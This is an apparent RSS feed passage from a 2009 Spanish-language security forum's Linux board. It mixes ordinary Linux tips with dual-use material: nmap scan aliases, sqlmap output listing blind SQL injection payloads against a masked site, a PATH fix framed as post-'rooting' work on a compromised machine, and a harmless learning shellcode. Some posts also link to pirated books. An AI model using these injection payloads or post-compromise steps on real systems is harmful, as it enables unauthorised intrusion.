<title>Montar y desmontar imágenes .iso en Ubuntu con Gmount-iso (no replies)</title><link>https://foro.undersecurity.net/read.php?28,4819,4819#msg-4819</link><description><![CDATA[Montar y desmontar imágenes .iso en Ubuntu<br /><br />Gmount-iso is una pequeña herramienta que permite montar fácilmente imágenes de CD. En realidad se trata de un frontend del comando ‘mount -o loop -t iso9660 foo.iso /mountpoint’.<br /><br />Para instalar gmountiso en Ubuntu tan sólo debemos abrir el terminal (Aplicaciones/Accesorios/Terminal) y escribir el siguiente comando:<br /><br /><pre class="bbcode">
sudo apt-get install gmountiso</pre><br /><br />Tras finalizar la instalación encontraremos gmountiso en el menú Aplicaciones/Herramientas del sistema.<br /><br /><img src="http://www.alejandrox.com/wp-content/2007/12/gmountiso1.png" class="bbcode" border="0" /><br /><br />Cuando lo abramos aparecerá una ventana como la siguiente, en la que tendremos que especificar la ruta del fichero .iso y el punto de montaje donde lo montaremos.<br /><br /><img src="http://www.alejandrox.com/wp-content/2007/12/gmountiso2.png" class="bbcode" border="0" /><br /><br /><a href="http://www.alejandrox.com/2007/12/montar-y-desmontar-imagenes-iso-en-ubuntu/" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Sat, 31 Oct 2009 21:01:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4776,4776#msg-4776</guid>
<title>Hacking Exposed Linux (no replies)</title><link>https://foro.undersecurity.net/read.php?28,4776,4776#msg-4776</link><description><![CDATA[The Latest Linux Security Solutions<br /><br /><img src="http://4.bp.blogspot.com/_Xs8Udq7aKRc/SlV-dDgok4I/AAAAAAAAAA0/T_VYsY3vreQ/s1600/HackingExposedLinux.gif" class="bbcode" border="0" /><br /><br />This authoritative guide will help you secure your Linux network--whether you use Linux as a desktop OS, for Internet services, for telecommunications, or for wireless services. Completely rewritten the ISECOM way, Hacking Exposed Linux, Third Edition provides the most up-to-date coverage available from a large team of topic-focused experts. The book is based on the latest ISECOM security research and shows you, in full detail, how to lock out intruders and defend your Linux systems against catastrophic attacks.<br /><br />Secure Linux by using attacks and countermeasures from the latest OSSTMM research<br />Follow attack techniques of PSTN, ISDN, and PSDN over Linux<br />Harden VoIP, Bluetooth, RF, RFID, and IR devices on Linux<br />Block Linux signal jamming, cloning, and eavesdropping attacks<br />Apply Trusted Computing and cryptography tools for your best defense<br />Fix vulnerabilities in DNS, SMTP, and Web 2.0 services<br />Prevent SPAM, Trojan, phishing, DoS, and DDoS exploits<br />Find and repair errors in C code with static analysis and Hoare Logic<br /><br /><br /><br /><a href="http://rapidshare.com/files/253721395/Hacking_Exposed_Linux.rar" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">DOwnload</span></b></a><br /><br /><a href="http://enetlibrary.blogspot.com/2009/07/hacking-exposed-linux.html" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Tue, 27 Oct 2009 19:19:04 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4753,4753#msg-4753</guid>
<title>Problema con debian 5.03 (2 replies)</title><link>https://foro.undersecurity.net/read.php?28,4753,4753#msg-4753</link><description><![CDATA[Buenas, tengo un gran problema y nose como lo podria resolver, aclaro que acabo de instalar debian 5.0.3, tengo un problema en los repositorios al parecer, aqui mi reposiitorio.<br /><br /><pre class="bbcode">
# 
# deb cdrom:[Debian GNU/Linux 5.0.3 _Lenny_ - Official i386 CD Binary-1 20090905-08:23]/ lenny main

deb cdrom:[Debian GNU/Linux 5.0.3 _Lenny_ - Official i386 CD Binary-1 20090905-08:23]/ lenny main

deb http://www.debian-multimedia.org squeeze main
#deb-src http://www.debian-multimedia.org squeeze main</pre><br />Le eh agregado el repositorio <i>deb http://www.debian-multimedia.org squeeze main<br />#deb-src http://www.debian-multimedia.org squeeze main</i>, pero cuando voy a instalar algo, me elimina casi todo los paquetes de debian (535 mb)<br /><br /><pre class="bbcode">
n# aptitude install amsn
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
Leyendo la información de estado extendido      
Inicializando el estado de los paquetes... Hecho
Leyendo las descripciones de las tareas... Hecho
No se puede encontrar ningún paquete cuyo nombre o descripción coincida con &quot;amsn&quot;
No se puede encontrar ningún paquete cuyo nombre o descripción coincida con &quot;amsn&quot;
Se ELIMINARÁN los siguientes paquetes:
  alacarte{u} bzip2{u} ca-certificates{u} capplets-data{u} cdrdao{u} 
  cheese{u} deskbar-applet{u} desktop-file-utils{u} djvulibre-desktop{u} 
  dmz-cursor-theme{u} dvd+rw-tools{u} ekiga{u} eog{u} evince{u} 
  evolution{u} evolution-common{u} evolution-data-server{u} 
  evolution-data-server-common{u} fast-user-switch-applet{u} file-roller{u} 
  finger{u} gcalctool{u} gconf-editor{u} gdm{u} gedit{u} gedit-common{u} 
  genisoimage{u} gnome-about{u} gnome-applets{u} gnome-applets-data{u} 
  gnome-backgrounds{u} gnome-control-center{u} gnome-core{u} 
  gnome-desktop-data{u} gnome-media{u} gnome-media-common{u} gnome-menus{u} 
  gnome-netstatus-applet{u} gnome-nettool{u} gnome-network-admin{u} 
  gnome-panel{u} gnome-panel-data{u} gnome-power-manager{u} 
  gnome-screensaver{u} gnome-session{u} gnome-settings-daemon{u} 
  gnome-system-monitor{u} gnome-system-tools{u} gnome-themes{u} 
  gnome-user-guide{u} gnome-utils{u} gnome-volume-manager{u} 
  gstreamer0.10-alsa{u} gstreamer0.10-gnomevfs{u} 
  gstreamer0.10-plugins-base{u} gstreamer0.10-plugins-good{u} 
  gstreamer0.10-tools{u} gstreamer0.10-x{u} gtk2-engines{u} 
  gtk2-engines-pixbuf{u} gtkhtml3.14{u} gucharmap{u} libaa1{u} libao2{u} 
  libapm1{u} libavahi-ui0{u} libavc1394-0{u} libbluetooth2{u} libcaca0{u} 
  libcairo-perl{u} libcairomm-1.0-1{u} libcamel1.2-11{u} libcdio7{u} 
  libcdparanoia0{u} libcpufreq0{u} libcucul0{u} libcurl3-gnutls{u} 
  libdjvulibre21{u} libdmx1{u} libdv4{u} libebook1.2-9{u} libecal1.2-7{u} 
  libedata-book1.2-2{u} libedata-cal1.2-6{u} libedataserver1.2-9{u} 
  libedataserverui1.2-8{u} libegroupwise1.2-13{u} libepc-1.0-1{u} 
  libepc-ui-1.0-1{u} libexchange-storage1.2-3{u} libexempi3{u} libexif12{u} 
  libffi5{u} libflac8{u} libgalago3{u} libgdata-google1.2-1{u} 
  libgdata1.2-1{u} libglib-perl{u} libglibmm-2.4-1c2a{u} libgmyth0{u} 
  libgnome-media0{u} libgnome-pilot2{u} libgnome-window-settings1{u} 
  libgnome2-canvas-perl{u} libgnome2-perl{u} libgnome2-vfs-perl{u} 
  libgnomecups1.0-1{u} libgnomekbd-common{u} libgnomekbd2{u} 
  libgnomekbdui2{u} libgnomeprint2.2-0{u} libgnomeprint2.2-data{u} 
  libgnomeprintui2.2-0{u} libgnomeprintui2.2-common{u} libgnomevfs2-bin{u} 
  libgpgme11{u} libgstreamer-plugins-base0.10-0{u} libgstreamer0.10-0{u} 
  libgtk-vnc-1.0-0{u} libgtk2-perl{u} libgtkhtml3.14-19{u} 
  libgtkmm-2.4-1c2a{u} libgtksourceview-common{u} libgtksourceview1.0-0{u} 
  libgtksourceview2.0-0{u} libgtksourceview2.0-common{u} libgucharmap6{u} 
  libgweather-common{u} libgweather1{u} libhtml-parser-perl{u} 
  libhtml-tagset-perl{u} libhtml-tree-perl{u} libiec61883-0{u} libiw29{u} 
  libkpathsea4{u} liblircclient0{u} libmetacity0{u} libmusicbrainz4c2a{u} 
  libmysqlclient15off{u} libnautilus-burn4{u} libnet-dbus-perl{u} 
  libnm-glib0{u} libogg0{u} liboil0.3{u} liboobs-1-4{u} libopal-2.2{u} 
  libpanel-applet2-0{u} libpisock9{u} libpisync1{u} libpoppler-glib3{u} 
  libpt-1.10.10{u} libpt-1.10.10-plugins-alsa{u} 
  libpt-1.10.10-plugins-v4l{u} libpth20{u} libraw1394-8{u} 
  libsdl1.2debian{u} libsdl1.2debian-alsa{u} libshout3{u} libslab0{u} 
  libsoup2.4-1{u} libspectre1{u} libspeex1{u} libspeexdsp1{u} libsvga1{u} 
  libswfdec-0.6-90{u} libtag1c2a{u} libtheora0{u} libtotem-plparser10{u} 
  libtrackerclient0{u} liburi-perl{u} libvisual-0.4-0{u} libvorbis0a{u} 
  libvorbisenc2{u} libvorbisfile3{u} libwavpack1{u} libwww-perl{u} 
  libx86-1{u} libxklavier12{u} libxml-parser-perl{u} libxml-twig-perl{u} 
  libxss1{u} metacity{u} metacity-common{u} mysql-common{u} nautilus{u} 
  nautilus-cd-burner{u} nautilus-data{u} pkg-config{u} python-cairo{u} 
  python-dbus{u} python-gdata{u} python-glade2{u} python-gmenu{u} 
  python-gnome2{u} python-gnome2-desktop{u} python-gobject{u} 
  python-gtk2{u} python-gtksourceview2{u} python-numeric{u} 
  python-pyorbit{u} seahorse{u} sound-juicer{u} svgalibg1{u} 
  swfdec-gnome{u} system-tools-backends{u} totem-common{u} 
  totem-gstreamer{u} totem-plugins{u} unzip{u} wodim{u} zenity{u} zip{u} 
0 paquetes actualizados, 0 nuevos instalados, 212 para eliminar y 0 sin actualizar.
Necesito descargar 0B de ficheros. Después de desempaquetar se liberarán 535MB.
¿Quiere continuar? [Y/n/?] n
Cancela.

</pre>]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Linux General</category><pubDate>Sat, 07 Nov 2009 22:30:41 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4686,4686#msg-4686</guid>
<title>Matar un puerto (1 reply)</title><link>https://foro.undersecurity.net/read.php?28,4686,4686#msg-4686</link><description><![CDATA[Bueno lo primero debemos verificar si el puerto esta abierto, en este caso tengo el <b>3000</b><br /><pre class="bbcode">
# netstat -a | grep 3000
tcp        0      0 *:3000                  *:*                     ESCUCHAR</pre>
Bueno ya sabemos que esta abierto porque esta escuchando las conexiones entrante... Ahora con el siguiente comando veremos el PID que es la ID del proceso.<br /><pre class="bbcode">
# lsof -i TCP:3000
COMMAND   PID   USER   FD   TYPE DEVICE SIZE NODE NAME
shbd    11738 nobody   14u  IPv4  75957       TCP *:3000 (LISTEN)</pre><br />Vemos que el pid es <b>11738</b> y con el siguiente comando lo matamos.<br /><pre class="bbcode">
# kill 11738</pre>
Verificamos si lo hemos matado...<br /><pre class="bbcode">
# netstat -a | grep 3000</pre>
Si no responde nada lo hemos eliminado...<br /><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Linux General</category><pubDate>Thu, 22 Oct 2009 00:07:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4684,4684#msg-4684</guid>
<title>Algunos alias de bash (no replies)</title><link>https://foro.undersecurity.net/read.php?28,4684,4684#msg-4684</link><description><![CDATA[esto va en tu ~/.bashrc<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>alias lla='ls -la --color=auto'<br />alias miip=&quot;echo [e[31m];wget -O - -q www.cualesmiip.com |grep '&lt;b&gt;Tu IP real es '|awk '{print \$5 \&quot; \&quot; \$7}';echo [e[31m]&quot;<br />alias scan='sudo nmap -sT -p 25,80,139,445 -sV -O -vv $1'<br />alias scanfast='sudo nmap -sS --top-ports 2000 -sV -O -PN -vv $1'<br />alias scanfull='sudo nmap -sS -p 1-65535 -sV -O -vv $1'</div></blockquote><br />lla lista los archivos de ., incluyendo los ocultos, mostrandolos en lista con bastante información y usando colores<br />miip te muestra tu ip (usando cualesmiip.com)<br />scan escanea con nmap usando el método connect (cambiar -sT por -sS para usar syn) en los puertos 25, 80,139 y 445. Muestra las versiones de los servicios y sistema operativo<br />scanfast escanea con syn los 2000 puertos mas comunes, no usa ping y detecta SO y servicios<br />scanfull escanea con syn todos los puertos, usa ping al principio y detecta SO y servicios]]></description>
<dc:creator>seth</dc:creator>
<category>Linux General</category><pubDate>Wed, 21 Oct 2009 16:12:55 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4659,4659#msg-4659</guid>
<title>Obtener las URL de SQLMAP con AWK y GREP (4 replies)</title><link>https://foro.undersecurity.net/read.php?28,4659,4659#msg-4659</link><description><![CDATA[<pre class="bbcode">
sqlmap -u &quot;http://www.XXXX.com/programas.php?id_prog=4&quot; -v4 | grep &quot;GET /&quot; |  awk '$2~/^\/.*/{system(&quot;php -r \x27 echo urldecode(\x22&quot;$2&quot;\x22).\x22\n\x22;\x27&quot;);}'</pre><br />Salida :<br /><pre class="bbcode">
/programas.php?id_prog=4
/programas.php?id_prog=4
/programas.php?id_prog=4
/programas.php?id_prog=4
/programas.php?id_prog=1650
/programas.php?id_prog='ZbOuf
/programas.php?id_prog=&quot;tiqJL
/programas.php?id_prog=4 AND 4448=4448
/programas.php?id_prog=4 AND 4448=4449
/programas.php?id_prog=4 AND pehxk
/programas.php?id_prog=4) AND (2128=2128
/programas.php?id_prog=4)) AND ((7266=7266
/programas.php?id_prog=4))) AND (((8794=8794
/programas.php?id_prog=4 AND CONNECTION_ID()=CONNECTION_ID() AND 185=185
/programas.php?id_prog=4 AND ISNULL(1/0) AND 8667=8667
/programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) &gt; 51 AND 9140=9140
programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) &gt; 48 AND 9140=9140
/programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) &gt; 49 AND 9140=9140
/programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) &gt; 50 AND 9140=9140
/programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) &gt; 51 AND 9140=9140
/programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) &gt; 48 AND 9140=9140
programas.php?id_prog=4 AND ORD(MID((SELECT 3 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) &gt; 1 AND 9140=9140</pre><br /><br />Tremendo ¡ Lo Posteo para que no se me olvide.<br />Gracias al Gobernador de los Awkniano ¡<br />Thanx C1c4 ¡]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Tue, 20 Oct 2009 18:50:27 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4535,4535#msg-4535</guid>
<title>Problemas con vmware tools (3 replies)</title><link>https://foro.undersecurity.net/read.php?28,4535,4535#msg-4535</link><description><![CDATA[Hoy he virtualizado en vmware el sistema operativo debian lenny, he instalado las vmware tools y me ha aparecido el mensaje de que vmware tools se habia instalado satisfactoriamente, pues resulta que despues de la instalación no noto ningun cambio sigo con la misma resolución de antes...<br /><br />Mi pregunta es: Tengo que activar las vmware tools con algun comando?<br /><br />Espero que me echeis un cable pues no tengo idea de cual puede ser el problema.<br /><br />Saludos!!]]></description>
<dc:creator>prodigy</dc:creator>
<category>Linux General</category><pubDate>Thu, 08 Oct 2009 21:55:15 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4529,4529#msg-4529</guid>
<title>PATH[variable de entorno] (no replies)</title><link>https://foro.undersecurity.net/read.php?28,4529,4529#msg-4529</link><description><![CDATA[Las variables de entorno contienen ciertos parametros del sistema, como pueden ser interprete de comando que esta usando, usuario actual,etc.<br />Para acceder a las variables de entorno hay que escribir el signo $ , seguido del nombre de la variable.<br />Los nombres de las variables en linux se escriben con mayuscula, y para agregar o crear datos a la variable: export VARIABLE=dato .<br /><br />Esto que escribo es un &quot;truco&quot; o no se como llamarlo , bueno en fin ¬¬. Cuando despues de rootear una maquina quieren correr algunos comandos como por ejemplo: arp, ifconfig, y estos no son encontrados, es porque la variable de entorno no esta bien seteada.<br />ex real: queremos instalar con aptitude libpcap.<br /><br /><pre class="bbcode">
sh-3.1# aptitude  install libpcap0.8;
Leyendo lista de paquetes... Hecho...
Se instalarán los siguiente paquetes NUEVOS:
  libpcap0.8 
0 paquetes actualizados, 1 nuevos instalados, 0 para eliminar y 1 sin actualizar.
Necesito descargar 0B/89,5kB de ficheros. Después de desempaquetar se usarán 209kB.
Escribiendo información de estado extendido... Hecho
dpkg: `ldconfig' no encontrado en el PATH.
dpkg: `start-stop-daemon' no encontrado en el PATH.
dpkg: `install-info' no encontrado en el PATH.
dpkg: `update-rc.d' no encontrado en el PATH.
dpkg: 4 programa(s) esperado(s) no encontrados en el PATH.</pre><br />No encontrado en el PATH (¬¬). ok .<br />La variable PATH contiene los directorios separados por : , en donde la shell busca los comandos.<br /><br /><pre class="bbcode">
sh-3.1# echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games</pre><br />aham esa lista esta incompleta, es por eso que no es posible hacer la correcta instalacion, los comandos no son encontrados en los path.<br />para crear una nueva variable o setearla usamos export, entonces.<br /><br /><pre class="bbcode">
sh-3.1# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
sh-3.1# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><br />hecho ;D, ahora probamos como va la instalacion:<br /><br /><pre class="bbcode">
sh-3.1# aptitude  install libpcap0.8;
Leyendo lista de paquetes... Hecho...
Se instalarán los siguiente paquetes NUEVOS:
  libpcap0.8 ...
0 paquetes actualizados, 1 nuevos instalados, 0 para eliminar y 1 sin actualizar.
Necesito descargar 0B/89,5kB de ficheros. Después de desempaquetar se usarán 209kB.
(Leyendo la base de datos ...  
Desempaquetando libpcap0.8 (de .../libpcap0.8_0.9.5-1_i386.deb) ...
Configurando libpcap0.8 (0.9.5-1) ...
...
sh-3.1# ./serviced;
Uso: ./serviced &lt;archivo_de_configuracion&gt; &lt;interfaz&gt;
Interfaces disponibles: 
	Nombre	Direccion(es)		Descripcion
	eth0	xxx.xxx.xxx.xxx 		 
	eth1			 
	lo	127.0.0.1 		Interfaz Loopback</pre><br />ahora que se agregaron los demas path en la variable, se encontraron los comandos necesarios<br />para hacer la instalacion.<br /><br /><br />pd1: me disculpan la falta de ortografia ¬¬<br />pd2: ojala se halla entendido.<br />pd3: para mas informacion http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_03.html<br />pd4: byt3z!]]></description>
<dc:creator>p0fk</dc:creator>
<category>Linux General</category><pubDate>Wed, 07 Oct 2009 02:07:10 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4288,4288#msg-4288</guid>
<title>Mastering UNIX Shell scripting (no replies)</title><link>https://foro.undersecurity.net/read.php?28,4288,4288#msg-4288</link><description><![CDATA[<img src="http://pwimage.org/images/gkpcy17u5fhgi5j0trdm.png" class="bbcode" border="0" /><br /><br />Quote: Paperback: 640 pages<br />Publisher: Wiley; 1 edition (January 31, 2003)<br />Language: English<br />ISBN-10: 0471218219<br />ISBN-13: 978-0471218210<br /><br />Book Description<br />* Provides readers with end-to-end shell scripts that can be used to automate repetitive tasks and solve real-world system administration problems<br />* Targets the specific command structure for four popular UNIX systems: Solaris, Linux, AIX, and HP-UX<br />* Illustrates dozens of example tasks, presenting the proper command syntax and analyzing the performance gain or loss using various control structure techniques<br />* Web site includes all the shell scripts used in the book<br /><br />Synopsis<br />Provides readers with end--to--end shell scripts that can be used to automate repetitive tasks and solve real--world system administration problems Targets the specific command structure for four popular UNIX systems: Solaris, Linux, AIX, and HP--UX Illustrates dozens of example tasks, presenting the proper command syntax and analyzing the performance gain or loss using various control structure techniques Web site includes all the shell scripts used in the book<br /><br />Descarga:<br /><br />http://hotfile.com/dl/11855860/faaba5e/Mastering_UNIX_Shell_Scripting.rar.html<br /><br />Saludos!!]]></description>
<dc:creator>prodigy</dc:creator>
<category>Linux General</category><pubDate>Wed, 16 Sep 2009 05:49:55 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4205,4205#msg-4205</guid>
<title>Mi primer shellcode :) linux/x86 (8 replies)</title><link>https://foro.undersecurity.net/read.php?28,4205,4205#msg-4205</link><description><![CDATA[Estoy como los infantes cuando aprenden a caminar :P Hoy estuve profundizandome mas en el mundo de ASM y Shellcodes, mas específicamente sobre sistemas Linux con arquitecturas Intel 32b.<br />Bueno, luego de mucha leida, calculo y error, llegue a un resultado: un shellcode inútil que solo crea un directorio <b>w00t</b> en /tmp/. Lo mas importante y en lo que me enfatice es la <u>inexistencia</u> de NULL bytes :D. Y aquí esta:<br /><pre class="c bbcode_geshi"><div class="head">Language: C</div><span class="kw4">char</span> shellcode<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="sy0">=</span>
<span class="st0">&quot;<span class="es2">\xeb</span><span class="es2">\x11</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\x5b</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\x31</span><span class="es2">\xc0</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\x31</span><span class="es2">\xc9</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\xb0</span><span class="es2">\x27</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\x66</span><span class="es2">\xb9</span><span class="es2">\x09</span><span class="es2">\x03</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\xcd</span><span class="es2">\x80</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\xb0</span><span class="es2">\x01</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\xcd</span><span class="es2">\x80</span>&quot;</span>
<span class="st0">&quot;<span class="es2">\xe8</span><span class="es2">\xea</span><span class="es2">\xff</span><span class="es2">\xff</span><span class="es2">\xff</span>&quot;</span>
<span class="st0">&quot;/tmp/w00t&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">void</span><span class="br0">&#40;</span><span class="sy0">*</span>sc<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">=</span><span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span><span class="br0">&#41;</span>shellcode<span class="sy0">;</span>
	sc<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br />Para la persona que se interesa en el tema, este es el código en nasm:<br /><pre class="asm bbcode_geshi"><div class="head">Language: ASM</div>global _start
_start<span class="sy0">:</span>
	<span class="kw1">jmp</span> <span class="kw4">short</span> dir
mk<span class="sy0">:</span>
	<span class="kw1">pop</span> <span class="kw3">ebx</span>
	<span class="kw1">xor</span> <span class="kw3">eax</span><span class="sy0">,</span> <span class="kw3">eax</span>
	<span class="kw1">xor</span> <span class="kw3">ecx</span><span class="sy0">,</span> <span class="kw3">ecx</span>
	<span class="kw1">mov</span> <span class="kw3">al</span><span class="sy0">,</span> <span class="nu0">39</span>
	<span class="kw1">mov</span> <span class="kw3">cx</span><span class="sy0">,</span> <span class="nu0">0x309</span>
	<span class="kw1">int</span> <span class="nu0">0x80</span>
	<span class="kw1">mov</span> <span class="kw3">al</span><span class="sy0">,</span> <span class="nu0">0x1</span>
	<span class="kw1">int</span> <span class="nu0">0x80</span>
dir<span class="sy0">:</span>
	<span class="kw1">call</span> mk
	<span class="kw4">db</span> <span class="st0">&quot;/tmp/w00t&quot;</span></pre>]]></description>
<dc:creator>C1c4Tr1Z</dc:creator>
<category>Linux General</category><pubDate>Sat, 19 Sep 2009 18:01:36 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4095,4095#msg-4095</guid>
<title>Descargas programadas con Wget (1 reply)</title><link>https://foro.undersecurity.net/read.php?28,4095,4095#msg-4095</link><description><![CDATA[En consola seteamos lo siguiente:<br /><br /><pre class="bbcode">
echo 'wget link' | at 01:05</pre><br /><br />Con esto iniciaremos la descarga a la 1 con 5 AM.. lindo =)<br /><br />Esta de mas decirle que Link debe ser reemplazado por la url de descarga<br /><br />Saludos!<br /><br /><a href="http://blog.toxicshell.com/" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Tue, 15 Sep 2009 15:07:44 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4076,4076#msg-4076</guid>
<title>Crear Gifs animados en Linux (no replies)</title><link>https://foro.undersecurity.net/read.php?28,4076,4076#msg-4076</link><description><![CDATA[Bueno gente, esto es una tontería de post, pero puede servir a la gente. A mi me sirvió hace poco para crearme un par de banners para la web. Como yo no tengo ni pajolera idea de diseño y la gente que sabe de diseño ya pasa de hacerme favores xD, dije: esto me lo hago yo en 0,. Cuando usaba Windows, sabía hacer gifs animados con el photoshop pero en Linux con GIMP... nada de nada. Así que tras varias peticiones a algunos colegas del under para que me hicieran el banner de afiliación y tras largas esperas pensé: ala! me lo hago yo y punto.<br /><br />Fui a <a href="http://mybannermaker.com/" target="_blank" rel="nofollow" >mybannermaker.com</a><br /><br />Allí me hice los diseños, los coloqué en un directorio. Y con ImageMagick se hace el resto:<br /><br />$ convert -delay 20 -loop 0 *.jpeg image.gif<br /><br />Donde:<br /><br />-delay 20 es el tiempo que tarda en pasar de una imagen a otra.<br />- loop 0: manda repetir el loop.<br />- *.jpeg manda utilizar todos los archivos con extensión jpeg (es importante numerarlos)<br />- image.gif es el nombre del gif final.<br /><br />Al final quedaron dos banners que si no son muy bonitos (yo y el diseño nos llevamos a patadas), por lo menos son funcionales, aerodinámicos y qué coño, son la puta ostia!<br /><br /><img src="http://n3t-datagrams.net/image/afil.gif" class="bbcode" border="0" /> y <img src="http://n3t-datagrams.net/image/afiliated.gif" class="bbcode" border="0" /><br /><br />Así que si estás cansado de mendigar a diseñadores, create tu propio gif chavacano y cutre!]]></description>
<dc:creator>SH4V</dc:creator>
<category>Linux General</category><pubDate>Sun, 30 Aug 2009 08:51:52 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4026,4026#msg-4026</guid>
<title>Como Saber Cuanta Memoria Ram Soporta Nuestro Computador en Ubuntu (2 replies)</title><link>https://foro.undersecurity.net/read.php?28,4026,4026#msg-4026</link><description><![CDATA[<pre class="bbcode">
sudo dmidecode | grep Maximum</pre><br /><pre class="bbcode">
sudo dmidecode | grep Maximum
	Maximum Size: 64 KB
	Maximum Size: 2048 KB
	Maximum Size: 0 KB
	<b><span style="color:#FF0000">Maximum Capacity: 2048 GB</span></b></pre><br /><br />Buuu y eso que queria Comprar mas RAM<br /><br /><br /><a href="http://ramdel.codesys.org/?p=401" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Wed, 09 Sep 2009 18:11:12 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,3867,3867#msg-3867</guid>
<title>PAPIRUX - La revista libre (1 reply)</title><link>https://foro.undersecurity.net/read.php?28,3867,3867#msg-3867</link><description><![CDATA[<span style="font-size:x-large"><b><u>PAPIRUX - La revista libre</u></b></span><br /><br /><img src="http://portal.powers.cl/wp-content/uploads/tux_papirux.png" class="bbcode" border="0" /><br />Supongo que ya conozcan esta revista libre que nació de la idea de algunos usuarios de Ubuntu-es. Posteo los enlaces para los que todavía no lo sepan, futuros lectores y para aumentar la biblioteca de UnderSecurity.<br /><br />Pinchar en los enlaces color granate.<br /><br /><a href="http://www.papirux.org/pdf/Papirux0.pdf" target="_blank" rel="nofollow" ><b><span style="color:#990000"><span style="font-size:large">Papirux nº0 - Octubre 2008</span></span></b></a><br /><img src="http://pillateunlinux.files.wordpress.com/2008/10/papirux0-230x300.png?w=230&amp;h=300" class="bbcode" border="0" /><br /><a href="http://lib.undersecurity.net/index.php?download=./Linux/Revistas/Papirux0.pdf.pdf" target="_blank" rel="nofollow" ><b>Download</b></a><br /><br /><a href="http://www.papirux.org/pdf/Papirux1.pdf" target="_blank" rel="nofollow" ><b><span style="color:#990000"><span style="font-size:large">Papirux nº1 - Noviembre 2008</span></span></b></a><br /><img src="http://www.papirux.org/wp-content/uploads/2008/11/papirux1.jpg" class="bbcode" border="0" /><br /><a href="http://lib.undersecurity.net/index.php?download=./Linux/Revistas/Papirux1.pdf.pdf" target="_blank" rel="nofollow" ><b>Download</b></a><br /><br /><a href="http://www.papirux.org/pdf/Papirux2.pdf" target="_blank" rel="nofollow" ><b><span style="color:#990000"><span style="font-size:large">Papirux nº2 - Diciembre 2008</span></span></b></a><br /><img src="http://jvare.files.wordpress.com/2008/12/papirux2portada.png?w=226&amp;h=294" class="bbcode" border="0" /><br /><a href="http://lib.undersecurity.net/index.php?download=./Linux/Revistas/Papirux2.pdf.pdf" target="_blank" rel="nofollow" >Download</a><br /><br /><a href="http://www.papirux.org/pdf/Papirux3.pdf" target="_blank" rel="nofollow" ><b><span style="color:#990000"><span style="font-size:large">Papirux nº3 - Febrero 2009</span></span></b></a><br /><img src="http://www.papirux.org/wp-content/uploads/2009/02/papirux3.png" class="bbcode" border="0" /><br /><a href="http://lib.undersecurity.net/index.php?download=./Linux/Revistas/Papirux3.pdf" target="_blank" rel="nofollow" ><b>Download</b></a><br /><br /><a href="http://www.papirux.org/pdf/Papirux4.pdf" target="_blank" rel="nofollow" ><b><span style="color:#990000"><span style="font-size:large">Papirux nº 4 – Abril 2009</span></span></b></a><br /><img src="http://linuxwall32.files.wordpress.com/2009/05/papirux.png?w=217&amp;h=300" class="bbcode" border="0" /><br /><a 